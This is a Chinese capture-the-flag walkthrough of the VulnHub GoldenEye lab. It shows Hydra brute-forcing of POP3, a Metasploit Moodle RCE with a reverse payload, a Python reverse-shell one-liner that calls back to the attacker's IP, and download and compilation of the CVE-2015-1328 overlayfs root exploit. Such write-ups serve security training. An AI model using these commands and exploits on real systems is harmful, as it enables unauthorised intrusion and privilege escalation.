渗透项目1-GoldenEye

时间:2024-03-30 15:25:11

靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/

靶机难度:中等(CTF)

目标:得到root权限&找到flag.txt

信息收集

  1. 收集目标ip

    • arp-scan -l (收集本地网络中的活跃主机的IP地址和MAC地址。)

      image-20240126183751739

      kali arp-scan网络扫描工具 扫描局域网ip地址-阿里云开发者社区 (aliyun.com)

  2. nmap扫描到两个端口

    image-20240126184203827

  3. 尝试访问80端口

    • 显示的文本提示了一条线索,它说进入到/sev-home/目录中。

    • User: UNKNOWN
      Naviagate to /sev-home/ to login
      需要登录,开始枚举查找用户名密码信息!

    • 查看其页面源代码发现一个terminal.js文件

      • 发现提示image-20240126194043270
    • 密码信息

      //I encoded you p@ssword below...
      //
      //InvincibleHack3r
      
  • 用户名信息

    阅读提示可以猜测用户名和密码可能为:Boris或Natalya

渗透过程

获得用户名和密码:

  1. 通过密码信息的收集发现这种编码是unicode的一种编码

    • Unicode编码转换 - 站长工具 (chinaz.com)经过这个网站转化得到明文密码

    • image-20240126195134347

    • 密码为:

      InvincibleHack3r
      
  2. 猜测用户名为boris成功

step2

  1. 登录成功后获取到又一重要信息

    image-20240126200348205

  2. POP3是一种发邮件的服务帮助中心_常见问题 (163.com)

  3. 继续对ip地址进行端口扫描查看pop3服务

    nmap -p- 192.168.177.129//全端口扫描
    

    image-20240126201453012

  4. nmap详细扫描上述55006,55007端口

    nmap -p-55006,55007 192.168.177.129 -sS -sV -T5 -A
    
  5. 验证了收集到的信息image-20240126202226938

6.通过Hydra暴力破解pop3服务

  • Hydra密码爆破工具使用教程图文教程(超详细)_hydra使用教程-CSDN博客

  • echo -e 'natalya\nboris' > dayu.txt   ---将两个用户名写入txt文本中
    
  • hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #/usr/share/wordlists/fasttrack.txt 是一个常见的字典文件,通常被用于密码破解、渗透测试和安全审计。这个文件包含了许多常见的用户名、密码、常用短语和其他可能用于攻击的字符串列表。这些列表可以被安全专业人员用于测试系统的安全性,确认系统是否容易受到常见的口令攻击。
    
  • 经过2~5分钟等待,获得两组账号密码

    用户:boris 密码:secret1!
    用户:natalya 密码:bird

  1. 通过NC登录pop3查看邮件信封内容枚举
  2. 查看boris的
    • nc 192.168.177.129 55007 ---登录邮箱
      user boris ---登录用户
      pass secret1! ---登录密码
      list ---查看邮件数量
      retr 1~3 ---查看邮件内容

image-20240126223000200

读到的信息

  • image-20240126225526431

  1. 查看natalya的

    • nc 192.168.177.129 55007 ---登录邮箱
      user natalya ---登录用户
      pass bird ---登录密码
      list ---查看邮件数量
      retr 1~3 ---查看邮件内容

    • 读到的信息

      image-20240126225725514

      在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
      用户名:xenia
      密码:RCP90rulez!
      域:severnaya-station.com
      网址:severnaya-station.com/gnocertdir
      我们现根据邮件提示添加本地域名:severnaya-station.com

  2. 设置本地HOSTS文件
    gedit /etc/hosts
    192.168.177.129 severnaya-station.com

step3

  1. 访问severnaya-station.com/gnocertdir

  2. 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

    是的,Moodle 是一种开源的学习管理系统(LMS),而不是一种内容管理系统(CMS)。Moodle 主要用于创建在线学习平台,提供了丰富的教学和学习工具,包括课程管理、在线测验、资源分享、讨论论坛等功能。Moodle 的开源性质意味着用户可以免费获取、使用和定制它,同时还可以根据自己的需求扩展功能。

    内容管理系统(CMS)通常用于创建和管理网站内容,例如WordPress、Joomla 和Drupal,而学习管理系统(LMS)则专注于教育和培训范畴。Moodle 在教育领域非常受欢迎,许多学校、大学和培训机构都使用它来提供在线学习服务。

    whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

    image-20240202181835235

  3. 登录后,Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak收集到又一有用的信息

    image-20240202181418238

  4. 又尝试用九头蛇爆破email username = doak的密码

  5. echo doak > dayu.txt   ---将用户名写入txt文本中
    hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3 
    #或者直接爆破doak这一个
    hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3 
    
  6. 成功获得密码[pop3] host: 192.168.177.129 login: doak password: goat

  7. 登录doak用户枚举邮件信息
    nc 192.168.177.129 55007 ---登录邮箱
    user doak ---登录用户
    pass goat ---登录密码
    list ---查看邮件数量
    retr 1 ---查看邮件内容

  8. image-20240202183404928

step4

  1. 据上诉邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
    用户名:dr_doak
    密码:4England!

  2. 登录后发现

    image-20240202190217324

  3. Something juicy is located here: /dir007key/for-007.jpg
    现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

    访问页面:severnaya-station.com/dir007key/for-007.jpg

    下载到本地:
    wget http://severnaya-station.com/dir007key/for-007.jpg

    根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
    binwalk(路由逆向分析工具)
    exiftool(图虫)
    strings(识别动态库版本指令)
    等查看jpg文件底层内容!

    exiftool for-007.jpg
    strings for-007.jpg
    用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

image-20240204163037393

  1. 对上述base64编码隐藏信息解码得到:xWinter1995x!
  2. 又由2知道用户为admin,由此可以登录
  3. 成功用admin用户登录站点image-20240204172227556

step5

  1. 进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。
    这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

  2. google搜索:Moodle 2.2.3 exp poc

  3. Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

  4. 此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

    使用我们的神器:MSF

    image-20240302171401227

    msfconsole                        ---进入MSF框架攻击界面
    search moodle                     ---查找 moodle类型 攻击的模块
    use 1                             ---调用0  exploit/multi/http/moodle_cmd_exec调用攻击脚本
    set username admin                ---设置用户名:admin
    set password xWinter1995x!        ---设置密码:xWinter1995x!
    set rhost severnaya-station.com   ---设置:rhosts severnaya-station.com
    set targeturi /gnocertdir         ---设置目录: /gnocertdir
    set payload cmd/unix/reverse      ---设置payload:cmd/unix/reverse
    set lhost 192.168.177.128           ---设置:lhost 192.168.4.231(需要本地IP)
    exploit  ----执行命令
    

    image-20240302170426472

  5. 当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell
    https://www.exploit-db.com/exploits/29324
    's_editor_tinymce_spellengine' => 'PSpellShell',

image-20240302170601859

  1. 成功,但交互shell不正常,有装python

    image-20240302171909819

  2. 执行tty,因为获得的权限无框架:执行
    python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

  3. 本地监听,用python反弹shell

    • nc -lvp 6666
    • image-20240302172925647
    #python反弹shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.177.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    • image-20240302173023501
  4. 成功建立连接,但依然是不正常的shellimage-20240302173355669

  • python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
  1. 内核提权
    uname -a 查看权限!

    image-20240302173546167

step6提权获取flag

  1. 谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

  1. 当前靶机下没有gcc,只有ccimage-20240302174705137

  2. kali搜索下:
    searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息
    cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop ---目录自行修改

  3. 这个靶场在枚举信息知道:
    无法进行GCC编译,需要改下脚本为cc
    gedit 37292.c ---文本打开
    第143行将gcc改为cc ---编写下

  4. 然后在本机本目录下开启http服务:python -m http.server 8081

  5. 靶机上执行

    cd /tmp

    wget http://192.168.177.128:8081/37292.c ---wget下载http服务下的文件

  6. 成功下载后执行cc编译:
    cc -o exp 37292.c ---C语言的CC代码编译点c文件
    chmod +x exp ---编译成可执行文件,并赋权
    ./exp ---点杠执行

    id ---查看目前权限

    image-20240302180143019

    cat /root/.flag.txt ---读取root下的flag信息
    568628e0d993b1973adc718237da6e93

image-20240302180207877